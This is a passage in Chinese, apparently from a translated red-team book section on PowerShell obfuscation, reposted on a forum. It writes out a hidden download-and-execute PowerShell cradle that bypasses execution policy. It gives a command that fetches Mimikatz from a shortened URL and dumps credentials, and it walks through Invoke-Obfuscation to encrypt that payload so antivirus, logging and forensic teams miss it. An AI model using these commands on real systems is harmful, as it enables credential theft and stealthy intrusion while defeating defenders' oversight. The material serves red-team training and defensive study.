7.8 PowerShell 混淆
PowerShell 脚本现在的问题是,如果您将脚本放到磁盘上,那么很多杀毒软件都会查杀脚本。即使您将脚本导入内存,杀毒软件通过查看内存,也可能发出警报。
无论如何,如果您从 Cobalt Strike、Meterpreter 或 PowerShell Empire 将脚本导入内存,那么需确保不会被杀毒软件发现。如果我们将脚本导入内存,那么至少应急响应/取证团队应该很难逆向分析我们的攻击静荷。
让我们来查看 PowerShell 的命令,如下所示。
- Powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString('[PowerShell URL]'); [Parameters]。
这是我们看到的最基本的字符串组合,可以绕过执行策略,隐藏运行/非交互,以及下载和执行 PowerShell 静荷。对于蓝队,我们已经看到有很多日志,记录这些特定的参数,例如“-Exec Bypass”。因此,我们通过一些常见的 PowerShell 语法混淆这些参数。
- -ExecutionPolicy Bypass。
- -EP Bypass
- -Exec Bypass
- -Execution Bypass
更疯狂的是,我相信 Daniel Bohannon 识别出了这个,您根本不需要完整的字符串来完成上述操作。例如,对于-ExecutionPolicy Bypass,以下的这些例子都将能正常工作。
- -ExecutionPolicy Bypass。
- -ExecutionPol Bypass。
- -Executio Bypass。
- -Exec Bypass。
- -Ex Bypass。
这些技术同样适用于 WindowStyle 甚至 EncodedCommand 参数。当然,这些技巧目前是可以使用的,我们需要创建更多混淆变换的方法。首先,我们提供一个非常简单的示例,使用 PowerShell 管理命令行,执行我们的远程 PowerShell 脚本(在本例中是 mimikatz),实现转储散列的功能。
- Invoke-Expression (New-Object Net.WebClient).DownloadString('http://bit.ly/ 2JHVdzf'); Invoke-Mimikatz –DumpCreds。
使用(Invoke-Obfuscation),输入字符串,使用几种不同的技术对字符串进行深度混淆。
- 在 Windows 中,下载 Invoke-Obfuscation PowerShell 文件。
- 加载 PowerShell 脚本,启动 Invoke-Obfuscation。
- Import-Module ./Invoke-Obfuscation.psd1
- Invoke-Obfuscation
- 设置混淆的 PowerShell 脚本。在这种情况下,我们混淆下载的脚本,运行 mimikatz,转储散列。
- SET SCRIPTBLOCK Invoke-Expression (New-Object Net.WebClient).
DownloadString ('http://bit.ly/2JHVdzf'); Invoke-Mimikatz -DumpCreds
- SET SCRIPTBLOCK Invoke-Expression (New-Object Net.WebClient).
- 编码静荷。
- 编码
- 在这种情况下,我选择了 SecureString(AES),但您可以使用所有混淆技术,如图 7.6 所示。
图 7.6
如果查看混淆的字符串,会发现有一个随机生成的密钥和加密的安全字符串。执行管理员权限 PowerShell,我们仍然可以执行完整的静荷,如图 7.7 所示。
图 7.7
回到主屏幕,创建混淆的加载器,如图 7.8 所示。
图 7.8
- main。
launcher。
CLIP++。
- Choose your execution flags。
更好的是,我们可以查看 Windows PowerShell 日志,但它非常隐蔽,对于规避杀毒软件和安全信息工具警报非常有帮助,如图 7.9 所示。
图 7.9
除 Invoke-Obfuscation 工具外,Daniel 还研制了一个 Invoke-CradleCrafter 工具,实现远程下载的功能。Invoke-CradleCrafter 工具为蓝队和红队开展研究、生成和混淆 PowerShell 远程下载提供了支持。此外,这个工具有助于帮助蓝队测试 Invoke-Obfuscation 输出结果的有效性。Invoke-CradleCrafter 的缺陷是不包含任何字符串连接、编码、标识和类型转换等功能。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论